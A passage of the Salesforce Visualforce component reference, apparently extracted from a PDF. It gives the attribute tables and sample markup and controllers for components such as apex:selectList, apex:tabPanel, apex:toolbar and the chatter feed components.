attributes, which by default aren't visible.
26.0
highlight
Boolean
26.0
id
String
26.0
markerFill
String
23.0
markerSize
Integer
The size of each data point marker for this series. You must
set at least one marker attribute for markers for a series to
appear on the chart.
23.0
511
global
String
apex:radarSeries
Description
Required? API
Access
Version
The shape of each data point marker for this series. Valid
options are:
23.0
circle
cross
You must set at least one marker attribute for markers for a
series to appear on the chart.
opacity
Integer
26.0
rendered
Boolean
26.0
26.0
showInLegend Boolean
strokeColor
String
A string specifying the color of the line for this series, specified
as an HTML-style (hexadecimal) color. If not specified, the line
will be the same color as the fill, which effectively renders it
invisible.
26.0
strokeWidth
Integer
26.0
tips
Boolean
26.0
title
String
26.0
xField
String
The field in each record provided in the chart data from which Yes
to retrieve the x-axis value for each data point in the series.
The x-axis in a radar chart is the perimeter circle. This field
must exist in every record in the chart data.
26.0
yField
String
The field in each record provided in the chart data from which Yes
to retrieve the y-axis value for each data point in the series.
The y-axis in a radar chart is the vertical line running from the
center of the radar plot out to the edge. This field must exist
in every record in the chart data.
26.0
512
apex:relatedList
apex:relatedList
A list of Salesforce records that are related to a parent record with a lookup or master-detail relationship.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:pageBlock>
You're looking at some related lists for {!account.name}:
</apex:pageBlock>
<apex:relatedList list="Opportunities" />
<apex:relatedList list="Contacts">
<apex:facet name="header">Titles can be overriden with facets</apex:facet>
</apex:relatedList>
<apex:relatedList list="Cases" title="Or you can keep the image, but change the text"
/>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
list
String
10.0
global
pageSize
Integer
10.0
global
rendered
Boolean
10.0
global
subject
String
The parent record from which the data and related list
definition are derived. If not specified, and if using a standard
10.0
global
513
apex:remoteObjectField
Description
Required? API
Access
Version
String
The text displayed as the title of the related list. If not specified,
this value defaults to the title specified in the application.
10.0
global
Facets
Facet Name
Description
API
Version
body
The components that appear in the body of the related list. Note that the order in which 10.0
a body facet appears in a relatedList component does not matter, because any facet with
name="body" will control the appearance of the related list body. If specified, this facet
overrides any other content in the related list tag.
footer
The components that appear in the footer area of the related list. Note that the order in 10.0
which a footer facet appears in the body of a relatedList component does not matter,
because any facet with name="footer" will control the appearance of the bottom of the
related list.
header
The components that appear in the header area of the related list. Note that the order in 10.0
which a header facet appears in the body of a relatedList component does not matter,
because any facet with name="header" will control the appearance of the top of the
related list.
apex:remoteObjectField
Defines the fields to load for an sObject. Fields defined using this component, instead of the fields attribute of
<apex:remoteObjectModel>, can have a shorthand name, which allows the use of a "nickname" for the field in client-side
JavaScript code, instead of the full API name. Use as child of <apex:remoteObjectModel>.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
jsShorthand
String
38.0
name
String
514
Yes
38.0
global
Boolean
apex:remoteObjectModel
Description
Required? API
Access
Version
14.0
global
apex:remoteObjectModel
Defines an sObject and its fields to make accessible using Visualforce Remote Objects. This definition can include a shorthand name for
the object, which you can use in JavaScript instead of the full API name. This is especially useful if your organization has a namespace,
and makes your code more maintainable.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
create
String
38.0
delete
String
38.0
fields
String
38.0
id
String
14.0
jsShorthand
String
38.0
name
String
The API name of the sObject to access. The full API name
includes your organization's namespace, if you have one.
rendered
Boolean
14.0
retrieve
String
38.0
update
String
38.0
515
Yes
global
38.0
global
apex:remoteObjects
apex:remoteObjects
Use this component, along with child <apex:remoteObjectModel> and <apex:remoteObjectField> components,
to specify the sObjects and fields to access using Visualforce Remote Objects. These components generate models in JavaScript that
you can use for basic create, select, update, and delete operations in your client-side JavaScript code.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
create
String
38.0
delete
String
38.0
id
String
14.0
jsNamespace
String
38.0
rendered
Boolean
14.0
retrieve
String
38.0
update
String
38.0
global
global
apex:repeat
An iteration component that allows you to output the contents of a collection according to a structure that you specify. The collection
can include up to 1,000 items.
Note that if used within an <apex:pageBlockSection> or <apex:panelGrid> component, all content generated by a
child <apex:repeat> component is placed in a single <apex:pageBlockSection> or <apex:panelGrid> cell.
This component can't be used as a direct child of the following components:
<apex:panelBar>
<apex:selectCheckboxes>
<apex:selectList>
<apex:selectRadio>
<apex:tabPanel>
516
apex:repeat
Example
<!-- Page: -->
<apex:page controller="repeatCon" id="thePage">
<apex:repeat value="{!strings}" var="string" id="theRepeat">
<apex:outputText value="{!string}" id="theValue"/><br/>
</apex:repeat>
</apex:page>
517
apex:repeat
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
first
Integer
10.0
global
id
String
10.0
global
rendered
Boolean
10.0
global
rows
Integer
10.0
global
518
apex:scatterSeries
Description
Required? API
Access
Version
value
Object
10.0
global
var
String
10.0
global
apex:scatterSeries
A data series to be rendered as individual (not connected) points in a linear Visualforce chart. At a minimum you must specify the fields
in the data collection to use as X and Y values for each point, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:scatterSeries>
components in a single chart. You can also add <apex:areaSeries>, <apex:barSeries>, and <apex:lineSeries>
components, but the results might not be very readable.
Example
<!-- Page: -->
<apex:chart height="530" width="700" animate="true" data="{!data}">
<apex:scatterSeries xField="data1" yField="data2"
markerType="circle" markerSize="3"/>
<apex:axis type="Numeric" position="bottom" fields="data1"
title="Torque" grid="true">
<apex:chartLabel/>
</apex:axis>
<apex:axis type="Numeric" position="left" fields="data2"
title="Lateral Motion" grid="true">
<apex:chartLabel/>
</apex:axis>
</apex:chart>
Attributes
Attribute Name Attribute Type
axis
String
Description
Required? API
Access
Version
Which axis this chart series should bind to. Must be one of
the four edges of the chart:
left
right
top
bottom
The axis bound to must be defined by a sibling
<apex:axis> component.
519
26.0
apex:scatterSeries
Description
Required? API
Access
Version
highlight
Boolean
26.0
id
String
26.0
markerFill
String
26.0
markerSize
Integer
26.0
markerType
String
The shape of each data point marker for this series. Valid
options are:
26.0
circle
cross
If not specified, the marker shape is chosen from a sequence
of shapes.
rendered
Boolean
26.0
rendererFn
String
26.0
showInLegend Boolean
26.0
tips
Boolean
26.0
title
String
26.0
xField
String
The field in each record provided in the chart data from which Yes
to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
26.0
yField
String
The field in each record provided in the chart data from which Yes
to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
26.0
520
global
apex:scontrol
apex:scontrol
An inline frame that displays an s-control.
Note: s-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls,
as well as new organizations, won't be allowed to create them. Existing s-controls remain unaffected.
Example
<!-- For this component to work, you must have a valid s-control defined. -->
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
controlName
String
The name of the s-control displayed. For this value, use the
s-control's name field, not its label.
10.0
global
height
Integer
10.0
global
id
String
10.0
global
rendered
Boolean
10.0
global
scrollbars
Boolean
10.0
global
subject
Object
The ID of the record that should provide data for this s-control.
10.0
global
width
Integer
The width of the inline frame that should display the s-control,
expressed either as the number of pixels or as a percentage
of the total available horizontal space. To specify the number
of pixels, set this attribute to a number followed by px, (for
example, width="600px"). To specify a percentage, set this
attribute to a number preceded by a hyphen (for example
width="-80").
10.0
global
521
apex:sectionHeader
apex:sectionHeader
A title bar for a page. In a standard Salesforce page, the title bar is a colored header displayed directly under the tab bar.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <div> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
description
String
Descriptive text for the page that displays just under the
colored title bar.
10.0
global
help
String
The URL for the page's help file. When this value is specified,
a Help for this Page link automatically appears on the right
side of the colored title bar. The URL must be a fully-qualified,
absolute, or relative URL; JavaScript URLs aren't permitted.
Invalid URLs display a warning icon instead of the help link.
10.0
global
id
String
10.0
global
printUrl
String
18.0
rendered
Boolean
10.0
global
subtitle
String
The text displayed just under the main title in the colored title
bar.
10.0
global
title
String
10.0
global
522
apex:selectCheckboxes
apex:selectCheckboxes
A set of related checkbox input elements, displayed in a table.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <table> tag.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
/*** Controller: ***/
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
523
apex:selectCheckboxes
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
10.0
global
border
Integer
10.0
global
29.0
borderVisible Boolean
dir
String
10.0
global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
label
String
23.0
524
apex:selectCheckboxes
Description
Required? API
Access
Version
lang
String
10.0
global
layout
String
10.0
global
29.0
legendInvisible Boolean
String
29.0
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
525
apex:selectCheckboxes
Description
Required? API
Access
Version
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onselect
String
10.0
global
readonly
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
526
apex:selectList
Description
Required? API
Access
Version
apex:selectList
A list of options that allows users to select only one value or multiple values at a time, depending on the value of its multiselect attribute.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<select> tag.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectList value="{!countries}" multiselect="true">
<apex:selectOptions value="{!items}"/>
</apex:selectList><p/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
/*** Controller: ***/
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
527
apex:selectList
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
10.0
global
dir
String
10.0
global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass String
10.0
global
global
id
String
10.0
label
String
23.0
lang
String
10.0
global
multiselect
Boolean
10.0
global
528
apex:selectList
Description
Required? API
Access
Version
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onselect
String
10.0
global
readonly
Boolean
10.0
global
529
apex:selectOption
Description
Required? API
Access
Version
rendered
Boolean
10.0
global
required
Boolean
10.0
global
size
Integer
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:selectOption
A possible value for an <apex:selectCheckboxes> or <apex:selectList> component. The <apex:selectOption>
component must be a child of one of those components.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag for components within an <apex:selectCheckboxes> or <apex:selectRadio> parent component, or
to the generated <option> tag for components within an <apex:selectList> parent component.
530
apex:selectOption
Example
<!-- Page: -->
<apex:page controller="chooseColor">
<apex:form>
<apex:selectList id="chooseColor" value="{!string}" size="1">
<apex:selectOption itemValue="red" itemLabel="Red"/>
<apex:selectOption itemValue="white" itemLabel="White"/>
<apex:selectOption itemValue="blue" itemLabel="Blue"/>
</apex:selectList>
</apex:form>
</apex:page>
/*** Controller ***/
public class chooseColor {
String s = 'blue';
public String getString() {
return s;
}
public void setString(String s) {
this.s = s;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
id
String
10.0
global
itemDescription String
10.0
global
itemDisabled Boolean
10.0
global
531
apex:selectOption
Description
Required? API
Access
Version
Boolean
10.0
global
itemLabel
String
10.0
global
itemValue
Object
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
532
apex:selectOptions
Description
Required? API
Access
Version
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:selectOptions
A collection of possible values for an <apex:selectCheckBoxes>, <apex:selectRadio>, or <apex:selectList>
component. An <apex:selectOptions> component must be a child of one of those components. It must also be bound to a
collection of selectOption objects in a custom Visualforce controller.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag for components within an <apex:selectCheckboxes> or <apex:selectRadio> parent component, or
the generated <option> tag for components within an <apex:selectList> parent component.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}" title="Choose a country">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">a:{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
533
apex:selectOptions
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
/*** Controller: ***/
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
rendered
Boolean
10.0
global
value
Object
10.0
global
534
apex:selectRadio
apex:selectRadio
A set of related radio button input elements, displayed in a table. Unlike checkboxes, only one radio button can ever be selected at a
time.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <table> tag.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectRadio value="{!country}">
<apex:selectOptions value="{!items}"/>
</apex:selectRadio><p/>
<apex:commandButton value="Test" action="{!test}" rerender="out"
status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:outputText value="{!country}"/>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
/*** Controller ***/
public class sampleCon {
String country = null;
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico')); return options;
}
public String getCountry() {
return country;
}
public void setCountry(String country) { this.country = country; }
}
535
apex:selectRadio
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the radio buttons in focus.
When the radio buttons are in focus, a user can select or
deselect a radio button value.
10.0
global
border
Integer
10.0
global
29.0
borderVisible Boolean
dir
String
10.0
global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
label
String
23.0
lang
String
10.0
global
layout
String
10.0
global
536
apex:selectRadio
Description
Required? API
Access
Version
29.0
String
29.0
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
537
apex:selectRadio
Description
Required? API
Access
Version
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onselect
String
10.0
global
readonly
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
538
apex:stylesheet
apex:stylesheet
A link to a stylesheet that can be used to style components on the Visualforce page. When specified, this component injects the stylesheet
reference into the head element of the generated HTML page.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<link> tag.
Example
<apex:stylesheet value="/resources/htdocs/css/basic.css"/>
type="text/css" href="/resources/htdocs/css/basic.css"/>
type="text/css" href="[generatedId]/basic.css"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
value
Object
The URL to the style sheet file. Note that this can be a
reference to a static resource.
Yes
10.0
global
10.0
global
apex:tab
A single tab in an <apex:tabPanel>. The <apex:tab> component must be a child of a <apex:tabPanel>.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td> tag that wraps the tab's contents.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel">
<apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab>
539
apex:tab
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
disabled
Boolean
10.0
global
focus
String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
label
String
10.0
global
labelWidth
String
10.0
global
name
Object
The name of the tab. Use the value of this attribute to specify
the default selected tab for the tabPanel.
10.0
global
onclick
String
10.0
global
oncomplete
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
540
apex:tab
Description
Required? API
Access
Version
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
ontabenter
String
11.0
global
ontableave
String
11.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
status
String
10.0
global
style
String
10.0
global
styleClass
String
The CSS style class used to display all portions of the tab
component, used primarily to designate which CSS styles are
applied when using an external CSS stylesheet.
10.0
global
switchType
String
10.0
global
timeout
Integer
10.0
global
541
String
apex:tabPanel
Description
Required? API
Access
Version
10.0
global
apex:tabPanel
A page area that displays as a set of tabs. When a user clicks a tab header, the tab's associated content displays, hiding the content of
other tabs.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<table> tag that contains all of the tabs.
Simple Example
<!-- Page: -->
<apex:page id="thePage">
<apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel">
<apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab>
<apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab>
</apex:tabPanel>
</apex:page>
Advanced Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- This example shows how to use the tabClass and inactiveTabClass attributes to
change the default styling of the tab bar. Note that in the style definitions,
'background-image:none' is required to override the default image with the
specified color. You can also provide your own image with .css styles. -->
<apex:page standardController="Account" showHeader="true">
<!-- Define Tab panel .css styles -->
<style>
.activeTab {background-color: #236FBD; color:white; background-image:none}
.inactiveTab { background-color: lightgrey; color:black; background-image:none}
</style>
<!-- Create Tab panel -->
<apex:tabPanel switchType="client" selectedTab="name2" id="AccountTabPanel"
tabClass='activeTab' inactiveTabClass='inactiveTab'>
<apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab>
<apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab>
542
apex:tabPanel
</apex:tabPanel>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
activeTabClass String
10.0
global
contentClass String
10.0
global
contentStyle String
10.0
global
10.0
global
disabledTabClass String
10.0
global
headerAlignment String
10.0
global
String
11.0
global
headerSpacing String
10.0
global
height
String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
dir
headerClass
String
Required? API
Access
Version
543
apex:tabPanel
Description
Required? API
Access
Version
inactiveTabClass String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
544
apex:toolbar
Description
Required? API
Access
Version
selectedTab
Object
The name of the default selected tab when the page loads.
This value must match the name attribute on a child tab
component. If the value attribute is defined, the selectedTab
attribute is ignored.
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
switchType
String
10.0
global
tabClass
String
10.0
global
title
String
10.0
global
value
Object
The current active tab. You can specify this with an expression
to dynamically control the active tab. For example,
value="{!TabInFocus}", where TabInFocus is a variable set by
a custom controller. The value of this attribute overrides the
one set in selectedTab.
10.0
global
width
String
10.0
global
apex:toolbar
A stylized, horizontal toolbar that can contain any number of child components. By default, all child components are aligned to the left
side of the toolbar. Use an <apex:toolbarGroup> component to align one or more child components to the right.
Example
<!-- Page: sampleToolbar-->
<apex:page id="thePage">
<!-- A simple example of a toolbar -->
<apex:toolbar id="theToolbar">
545
apex:toolbar
-->
<apex:pageMessages/>
<apex:form>
<apex:toolbar
onclick="alert('You clicked the mouse button on a component in the toolbar.')"
onkeydown="alert('You pressed a keyboard key in a component in the toolbar.')"
onitemclick="alert('You clicked the mouse button on a component that is ' +
546
apex:toolbar
'not in a toolbarGroup.')"
onitemkeydown="alert('You pressed a keyboard key in a component that is ' +
'not in a toolbarGroup.')">
<apex:inputText/>
Click outside of a toolbargroup
<apex:toolbarGroup><apex:inputText/>Click in a toolbarGroup</apex:toolbarGroup>
</apex:toolbar>
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
contentClass String
10.0
global
contentStyle String
10.0
global
height
String
10.0
global
id
String
10.0
global
itemSeparator String
10.0
global
onclick
String
16.0
ondblclick
String
16.0
onitemclick
String
16.0
547
apex:toolbar
Description
onitemdblclick String
16.0
onitemkeydown String
16.0
onitemkeypress String
16.0
16.0
onitemmousedown String
16.0
onitemmousemove String
16.0
onitemmouseout String
16.0
onitemmouseover String
16.0
onitemmouseup String
16.0
onitemkeyup
String
Required? API
Access
Version
onkeydown
String
16.0
onkeypress
String
16.0
onkeyup
String
16.0
onmousedown
String
16.0
onmousemove
String
16.0
onmouseout
String
16.0
548
apex:toolbarGroup
Description
Required? API
Access
Version
onmouseover
String
16.0
onmouseup
String
16.0
rendered
Boolean
10.0
global
separatorClass String
10.0
global
style
String
The style used to display the toolbar, used primarily for adding
inline CSS styles.
10.0
global
styleClass
String
10.0
global
width
String
10.0
global
apex:toolbarGroup
A group of components within a toolbar that can be aligned to the left or right of the toolbar. The <apex:toolbarGroup>
component must be a child component of an <apex:toolbar>.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:toolbar id="theToolbar">
<apex:outputText value="Sample Toolbar"/>
<apex:toolbarGroup itemSeparator="line" id="toobarGroupLinks">
<apex:outputLink value="http://www.salesforce.com">salesforce</apex:outputLink>
<apex:outputLink value="http://developer.salesforce.com">apex developer
network</apex:outputLink>
</apex:toolbarGroup>
<apex:toolbarGroup itemSeparator="line" location="right" id="toobarGroupForm">
<apex:form id="theForm">
<apex:inputText id="theInputText">Enter Text</apex:inputText>
<apex:commandLink value="search" id="theCommandLink"/>
</apex:form>
549
apex:toolbarGroup
</apex:toolbarGroup>
</apex:toolbar>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
String
10.0
global
itemSeparator String
10.0
global
id
location
String
10.0
global
onclick
String
11.0
global
ondblclick
String
11.0
global
onkeydown
String
11.0
global
onkeypress
String
11.0
global
onkeyup
String
11.0
global
onmousedown
String
11.0
global
onmousemove
String
11.0
global
onmouseout
String
11.0
global
onmouseover
String
11.0
global
onmouseup
String
11.0
global
550
Description
Required? API
Access
Version
10.0
global
separatorClass String
10.0
global
style
String
The CSS style used to display the toolbar group, used primarily
for adding inline CSS styles.
10.0
global
styleClass
String
10.0
global
rendered
Boolean
apex:variable
apex:variable
A local variable that can be used as a replacement for a specified expression within the body of the component. Use <apex:variable>
to reduce repetitive and verbose expressions within a page.
Note: <apex:variable> does not support reassignment inside of an iteration component, such as <apex:dataTable> or
<apex:repeat>. The result of doing so, e.g., incrementing the <apex:variable> as a counter, is unsupported and undefined.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page controller="variableCon">
<apex:variable var="c" value="{!contact}" />
<p>Greetings, {!c.LastName}.</p>
</apex:page>
/*** Controller ***/
public class variableCon {
Contact contact;
public Contact getContact() {
if (contact == null){
contact = [select LastName from Contact where
id = :ApexPages.currentPage().getParameters().get('id')];
}
551
apex:vote
return contact;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
rendered
Boolean
10.0
global
value
Object
10.0
global
var
String
The name of the variable that can be used to represent the Yes
value expression within the body of the variable component.
10.0
global
apex:vote
A component that displays the vote control for an object that supports it.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
objectId
String
rendered
Boolean
14.0
rerender
String
The area(s) of the page that are refreshed when the action is
taken.
38.0
Yes
global
26.0
global
chatter:feed
Displays the Chatter EntityFeed for a record or an UserProfileFeed for a user. Note that Chatter components are unavailable for Visualforce
pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component. Note also that the
552
chatter:feedWithFollowers
chatter:feed component doesn't support feedItemType when the EntityId entity is a user. Use SOQL to filter on the UserProfileFeed
object's Type field instead.
Attributes
Attribute Name Attribute Type
entityId
id
Description
Required? API
Access
Version
Yes
20.0
feedItemType String
20.0
id
String
14.0
onComplete
String
20.0
rendered
Boolean
14.0
reRender
Object
20.0
20.0
showPublisher Boolean
global
global
chatter:feedWithFollowers
An integrated UI component that displays the Chatter feed for a record, as well as its list of followers. Note that Chatter components are
unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Do not include this component inside an <apex:form> tag.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
entityId
id
id
String
553
20.0
14.0
global
chatter:follow
Description
Required? API
Access
Version
onComplete
String
20.0
rendered
Boolean
14.0
reRender
Object
20.0
showHeader
Boolean
20.0
global
chatter:follow
Renders a button for a user to follow or unfollow a Chatter record. Note that Chatter components are unavailable for Visualforce pages
on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
entityId
id
id
String
14.0
onComplete
String
20.0
rendered
Boolean
14.0
reRender
Object
20.0
554
20.0
global
global
chatter:followers
chatter:followers
Displays the list of Chatter followers for a record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites.
Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
entityId
id
Entity ID of the record for which to display the list of followers; Yes
for example, Contact.Id
20.0
id
String
14.0
global
rendered
Boolean
14.0
global
chatter:newsfeed
Displays the Chatter NewsFeed for the current user. Note that Chatter components are unavailable for Visualforce pages on Force.com
